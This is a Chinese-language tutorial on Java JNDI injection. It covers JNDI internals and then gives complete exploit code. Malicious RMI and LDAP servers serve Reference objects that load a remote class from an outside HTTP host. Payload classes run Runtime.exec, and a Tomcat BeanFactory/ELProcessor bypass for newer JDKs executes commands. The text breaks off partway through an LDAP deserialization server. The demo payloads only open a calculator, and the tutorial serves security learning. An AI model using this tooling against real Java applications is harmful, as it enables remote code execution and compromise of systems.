Java JNDI 注入
jndi 全称 Java Naming Directory Interface,Java 命名和目录接口,是 SUN 公司提供的一种标准的 Java 命名系统接口。通过调用 JNDI 的 API 应用程序可以定位资源和其他程序对象。JNDI 可访问的现有目录及服务包括:JDBC(Java 数据库连接)、LDAP(轻型目录访问协议,ldap://)、RMI(远程方法调用,rmi://)、DNS(域名服务,dns://)、NIS(网络信息服务,一般 UNIX 使用,nis://)、CORBA(公共对象请求代理系统结构,iiop://)
命名服务(Naming Server)
命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如 RMI
协议,可以通过名称来查找并调用具体的远程对象。又或者 DNS
协议,通过域名来查找具体的 IP 地址。这些都可以叫做命名服务。
在命名服务中,有几个重要的概念。
- Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在 RMI 中远程对象绑定到对应的 name,文件系统中文件名绑定到对应的文件。
- Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
- References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
简单的 JNDI 示例
JNDI 接口主要分为下述 5 个包:
javax.naming
:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类,(包括了javax.naming.Context
,javax.naming.InitialContext
,分别是用于设置 jndi 环境变量和初始化上下文。)javax.naming.directory
:主要用于目录操作,它定义了 DirContext 接口和 InitialDir-Context 类javax.naming.event
:在命名目录服务器中请求事件通知javax.naming.ldap
:提供 LDAP 服务支持javax.naming.spi
:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过 JNDI 可以访问相关服务
其中最重要的是 javax.naming
包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
下面我们通过具体代码来看看 JNDI 是如何实现与各服务进行交互的。
JNDI_RMI
首先在本地起一个 RMI 服务
定义一个 hello.java
接口
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface hello extends Remote {
public Object nihao() throws RemoteException,Exception;
}
然后创建 RMIobj.java,(这里直接把注册中心和服务端写在一起了)
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIobj extends UnicastRemoteObject implements hello {
protected RMIobj() throws RemoteException {
super();
}
public void nihao() throws RemoteException, Exception {
System.out.println("hello word");
}
private void registry() throws Exception{
hello rmiobj=new RMIobj();
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
Naming.bind("Hello", rmiobj);
}
public static void main(String[] args) throws Exception {
new RMIobj().registry();
}
}
然后通过 JNDI
接口调用远程类,JNDI_RMI
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JNDI_RMI {
public static void main(String[] args) throws Exception {
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//可以不用设置,下面会说,会根据服务协议自行选择
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
//调用远程类
hello ihello = (hello) initialContext.lookup("Hello");
System.out.println(ihello.nihao());
}
}
成功调用,
JNDI_DNS
以 JDK 内置的 DNS 目录服务为例
JNDI_DNS.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class JNDI_DNS {
public static void main(String[] args) {
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
try {
DirContext initialContext = new InitialDirContext(env);
Attributes res = initialContext.getAttributes("goodapple.top", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
~~我反正没有域名,没有尝试过。
JNDI 的 Context
通过 JNDI 成功地调用了 RMI 和 DNS 服务。那么对于 JNDI 来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的 Context(上下文)了。
初始化 Context
//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
使用 hashtable 来设置属性 INITIAL_CONTEXT_FACTORY
和 PROVIDER_URL
,其中 JNDI 正式通过 INITIAL_CONTEXT_FACTORY
属性来识别调用的是何种服务,像这里就是 com.sun.jndi.rmi.registry.RegistryContextFactory
。
接着属性 PROVIDER_URL
设置为了 "rmi://localhost:1099"
,这正是我们 RMI 服务的地址。JNDI 通过该属性来获取服务的路径,进而调用该服务。
最后向 InitialContext
类传入我们设置的属性值来初始化一个 Context
,于是我们就获得了一个与RMI服务相关联的上下文 Context
。
当然,初始化Context的方法多种多样,我们来看一下 InitialContext
类的构造函数
//构建一个默认的初始上下文
public InitialContext();
//构造一个初始上下文,并选择不初始化它。
protected InitialContext(boolean lazy);
//使用提供的环境变量初始化上下文。
public InitialContext(Hashtable<?,?> environment);
所以我们还可以用如下方式来初始化一个 Context
//设置JNDI环境变量
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
//初始化上下文
InitialContext initialContext = new InitialContext();
通过 Context 与服务交互
和RMI类似,Context
同样通过以下五种方法来与被调用的服务进行交互
//将名称绑定到对象
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name)
//检索命名对象
lookup(String name)
//将名称重绑定到对象
rebind(String name, Object obj)
//取消绑定命名对象
unbind(String name)
JNDI 底层实现
获取工厂类
我们通过 JNDI 来设置不同的上下文,就可以调用不同的服务。那么 JNDI 接口是如何实现这一功能的呢?
在 InitalContext#InitalContext()
中,通过我们传入的 HashTable
进行 init
。
继续跟进
跟到了 getInitialEnvironment
方法,继续跟进,
一路跟进到达 getInitialContext
方法。
这里首先通过 getInitialContextFactoryBuilder()
初始化了一个 InitialContextFactoryBuilder
类。
如果该类为空,则将 className
设置为 _INITIAL_CONTEXT_FACTORY_
属性。这个属性就是我们手动设置的RMI上下文工厂类 com.sun.jndi.rmi.registry.RegistryContextFactory
。
继续向下
这里通过 loadClass()
来动态加载我们设置的工厂类。然后提前学过 jndi 的知道后面会调用到工厂类的 getInitialContext()
方法也就是 RegistryContextFactory#getInitialContext()
方法,通过我们的设置工厂类来初始化上下文 Context。
现在我们知道了,JNDI是通过我们设置的 _INITIAL_CONTEXT_FACTORY_
工厂类来判断将上下文初始化为何种类型,进而调用该类型上下文所对应的服务。
获取服务交互所需资源
现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?我们接着上文,跟到 RegistryContextFactory#getInitialContext()
中
这里的 var1
就是我们设置的两个环境变量,跟进 getInitCtxURL()
JNDI通过我们设置的 _PROVIDER_URL_
环境变量来获取服务的路径,接着在 URLToContext()
方法中初始化了一个 rmiURLContextFactory
类,并根据服务路径来获取实例。
跟到 rmiURLContextFactory#getUsingURL()
中
看到调用了 lookup()
方法。其实一直跟踪就知道调用的是 RegistryContext#lookup()
,根据上述过程中获取的信息初始化了一个新的 RegistryContext
。
可见,在最终初始化的时候获取了一系列RMI通信过程中所需的资源,包括 RegistryImpl_Stub
类、path
、port
等信息。如下图
JNDI 在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。
各种调用链如下
JNDI 动态协议转换*(看这个就行了)
其实除了上面那种写法,大部分是是如下 poc,那这种是怎么识别不同协议的工厂类的呢?下面简单分析一下。
import javax.naming.InitialContext;
public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
IHello ihello = (IHello) initialContext.lookup(string);
System.out.println(ihello.sayHello("Feng"));
}
}
首先从 lookup()
开始跟进,注意到其实我们不管调用的是lookup、bind或者是其他 initalContext
中的方法,都会调用 getURLOrDefaultInitCtx()
方法进行检查。
跟进 getURLOrDefaultInitCtx()
方法,会通过 getURLScheme()
方法来获取通信协议,比如这里获取到的是 rmi
协议,然后跟据获取到的协议,通过 NamingManager#getURLContext()
来调用 getURLObject()
方法
在 getURLObject
的时候会根据传入进来的 url 去寻找对应的工厂,比如这里的 rmi,
其实就是把 schema 和我们的 URLContextFactory 去拼接得到它的工厂,根据不同的工厂类对应着不同的 getObjectInstance 方法,并调用该方法
然后在 rmiURLContextFactory.getObjectInstance
中会返回个 rmiURLContext 对象,
一直回到 InitialContext.lookup
方法中,那么会调用 rmiURLContext.lookup
方法
但是 rmiURLContext 没有 lookup 方法,所以调用其父类 GenericURLContext (com.sun.jndi.toolkit.url) 的 lookup 方法,继续调用 RegistryResult.lookup
方法,
看到 return new RegistryContext(this);
其实就是上面自己设置属性进行上下文初始化最后的部分吗,继续会跟进到 decodeObject
方法
前面的不用管,直接看最后部分,如果符号这三个 if 条件就会抛出异常,而 jdk 高版本中默认 trustURLCodebase 为 false,然后如果 ref 是个远程类的话 ref.getFactoryClassLocation()
返回值就不为空了,
简单跟进看看
这个值是在 rmi 服务端设置的,
三个条件都满足最后就会抛出异常,
这里假设 trustURLCodebase 为 true ,继续跟进 NamingManaget.getObjectInstance
方法,调用了 getObjectFactoryFromReference(ref, f);
,
在 getObjectFactoryFromReference(ref, f);
中会进行远程类加载,然后进行实列化触发 rce,
如果是后续的本地工厂类绕过会在 helper.loadClassWithoutInit(factoryName);
就获得 clas,
后面 clas 不为空也就不会进行远程加载而是直接返回 factory ,然后调用该 factory 的 getObjectInstance 方法,
LDAP 的其实也差不多,只是中间过程肯定不是去调用 RegistryContext
的 lookup
方法,它从 lookup 会调用其他的 lookup 方法,但是最后一直跟进也会到达 DirectoryManager#getObjectInstance
方法,最后进行实列化。
JNDI Reference 类
Reference 类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
当在本地找不到所调用的类时,我们可以通过 Reference 类来调用位于远程服务器的类。
Reference 类常用构造函数如下:
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)
在RMI中,由于我们远程加载的对象需要继承 UnicastRemoteObject
类,所以这里我们需要使用 ReferenceWrapper
类对 Reference
类或其子类对象进行远程包装成 Remote
类使其能够被远程访问。
JNDI 注入
通过以上实例可以清晰的看到看到,如果 lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类
JNDI 接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211 以下 | 7u201 以下 | 8u191 以下 | 11.0.1 以下 |
RMI | 6u132 以下 | 7u122 以下 | 8u113 以下 | 无 |
JNDI+RMI
在攻击RMI服务的时候我们提到过通过远程加载Codebase的方式来加载恶意的远程类到服务器上。和Codebase类似,我们也可以使用Reference类来从远程加载恶意类。JDK版本为 JDK8u_65
,攻击代码如下
RMI_Server.java
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMI_POC","RMI_POC","http://106.53.212.184:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("hello",refObjWrapper);
System.out.println("START RUN");
}
public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}
其中 RMIHello 为我们要远程访问的类,如下
RMI_POC
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
注意,RMIHello
类需要继承 ObjectFactory
类,并且构造函数需要为 public
。
受害客户端如下,我们将 lookup()
参数控制位我们恶意 RMI 服务的地址
RMI_CN.java
package org.example;
import javax.naming.InitialContext;
public class RMI_CN {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
我们搭建好恶意的 RMI 服务器,并且在远端服务器上放置恶意类。客户端成功调用并初始化我们远端的恶意
启动服务
1、将 HTTP 端恶意载荷 RMI_POC.java
,编译成 RMI_POC.class
文件,或者直接使用 idea 编译。
javac RMI_POC.java
2、在 RMI_POC.class
目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMI_Server.java 的 Reference 里面的链接端口一致
启动服务端
启动客户端加载恶意类
看到成功弹出计算机。
关于这里 lookup 触发到底层的调用原理参考:https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#RMI-%E5%8E%9F%E7%94%9F%E6%BC%8F%E6%B4%9E
这里调用到底层主要是通过 URLClassLoader
的动态类加载,但是其实这里也是存在反序列化漏洞的,因为底层调用了 RegistryContext.lookup()
方法,而这个 RegistryContext
类是 RMI 中,如果 RMI 存在反序列化,那么 JNDI 这里也会有,只是这不是真正意义上的 jndi 注入属于是 rmi 的反序列化漏洞了,一般情况下都是通过 URLClassLoader
来动态加载恶意类。
然后至于这个是怎么从 lookup 到达 URLClassLoader
动态加载类以及为什么要是 reference 对象和 factory 的作用建议还是看看上面这篇文章。
JNDI+LDAP
LDAP 既是一类服务,也是一种协议,LDAP 目录和 RMI 注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。
更加具体参考:java LDAP
我们可以使用 LDAP 服务来存储 Java 对象,如果我们此时能够控制 JNDI 去访问存储在 LDAP 中的 Java 恶意对象,那么就有可能达到攻击的目的。LDAP 能够存储的 Java 对象如下
- Java 序列化
- JNDI 的 References
- Marshalled 对象
- Remote Location
首先下载 LDAP依赖。
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
LDAP_Server.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=gaoren,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://106.53.212.184:6666/#LDAP_POC"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP_POC.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class LDAP_POC implements ObjectFactory {
public LDAP_POC() throws Exception{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
LDAP_CN.java
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/LDAP_POC";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
步骤和上面是一样的,最后运行也是成功弹出计算机
- 这个攻击就还是我们之前说的 Reference
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,所以适用范围更广。
JNDI+CORBA
一个简单的流程是:resolve_str
最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory
去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader
,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用。所以就不深入研究了。
JDK 高版本限制
在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly
的值必须为 false
。但是从 JDK 6u45
、7u21
开始,java.rmi.server.useCodebaseOnly
的默认值就是 true
。
JNDI_RMI_Reference 限制
RMI 在 JDK 6u132
, JDK 7u122
, JDK 8u113
之后限制了远程加载 Reference
工厂类。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了 false
,即默认不允许通过RMI从远程的 Codebase
加载 Reference
工厂类。
JNDI_LDAP_Reference 限制
JNDI不仅可以从通过RMI加载远程的 Reference
工厂类,也可以通过 LDAP 协议加载远程的 Reference 工厂类,但是在之后的版本 Java 也对 LDAP Reference 远程加载 Factory
类进行了限制,在 JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值同样被修改为了 false
,对应的CVE编号为:CVE-2018-3149
。
限制源码分析
JDK_8u65
在低版本JDK_8u65下,在 RegistryContext#decodeObject()
方法会直接调用到 NamingManager#getObjectInstance()
,进而调用 getObjectFactoryFromReference()
方法来获取远程工厂类。
JDK_8u241
同样是在 RegistryContext#decodeObject()
方法,这里增加了对类型以及 trustURLCodebase
的检查,所以也就没法加载远程的 refrence 工厂类了。
绕过高版本限制
使用本地的 Reference Factory 类
8u191后已经默认不允许加载 codebase
中的远程类,但我们可以从本地加载合适 Reference Factory
。上面看到是三个 if 条件那里,如果是本地类那么 rmiserver 一般是下面这种,
执行 ref.getFactoryClassLocation()
就为空了,就可以执行到 NamingManager.getObjectInstance
方法了。
该本地工厂类必须实现 javax.naming.spi.ObjectFactory
接口,因为在 NamingManager#getObjectFactoryFromReference
最后的 return
语句对 Factory
类的实例对象进行了强制类型转换将其转换为了 ObjectFactory
类型,并且该工厂类至少存在一个 getObjectInstance()
方法,下面接着看。
org.apache.naming.factory.BeanFactory
就是满足条件的类之一,并由于该类存在于 Tomcat8 依赖包中,攻击面和成功率还是比较高的。
构造服务端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Object", referenceWrapper);
}
}
或者
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIBypassHighJava {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Object", referenceWrapper);
}
}
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class jndipass {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}
运行结果
具体绕过原理可以参考:https://drun1baby.top/2022/07/28/Java反序列化之JNDI学习/#0x03-绕过高版本-jdk-的攻击
这里就简单说一下过程,还是 lookup
一直到 RegistryContext
类,然后接着是 decodeObject()
方法的调用,在该方法中有继续调用 getObjectInstance
方法,
进入该方法,同样一路调用到 getObjectFactoryFromReference
,由于是本地 factory 类,所以直接就能加载
看到这里 clas
不为空不会那么就不会进行远程加载了。并且看到最后强制类型转换为 ObjectFactory
类,这也是为什么要继承 javax.naming.spi.ObjectFactory
接口,
回到 getObjectInstance
方法继续看,接下来调用了 BeanFactory.getObjectInstance()
方法,
跟进,先判断 obj 是不是 ResourceRef 类实列 (这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例),接着就是一大堆赋值的东西了,
先调用 tcl.loadClass(beanClassName);
让 beanClass
为 javax.el.ELProcessor
对象,实例化该类并获取其中的 forceString
类型的内容,也就是 x=eval
内容,
继续往下调试可以看到,查找 forceString
的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString
的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 ELProcessor.eval() 方法了
接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用 getContent()
方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素,获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")
。
最后实现命令执行。
参考:https://paper.seebug.org/942/,感觉这篇文章说的挺好的,除了把 setter 设置为 javax.el.ELProcessor#eval
还可以设置为 groovy.lang.GroovyShell#evaluate
进行 groovy 命令注入。
LDAP反序列化绕过
因为LDAP 还可以存储序列化的数据,那么如果LDAP存储的某个对象的 javaSerializedData
值不为空,则客户端会通过调用 obj.decodeObject()
对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过 LDAP 来传输恶意序列化对象。这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合和(具体过程分析参考:)。
恶意 LDAP 服务端,相较于原始的LDAP服务器,我们只需要略微改动即可,将被存储的类的属性值 javaSerializeData
更改为序列化 payload 即可(之前的 ldap 储存的属性为其他的)
LDAP_BS.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;
public class LDAP_BS {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#BS"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject获取Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode( 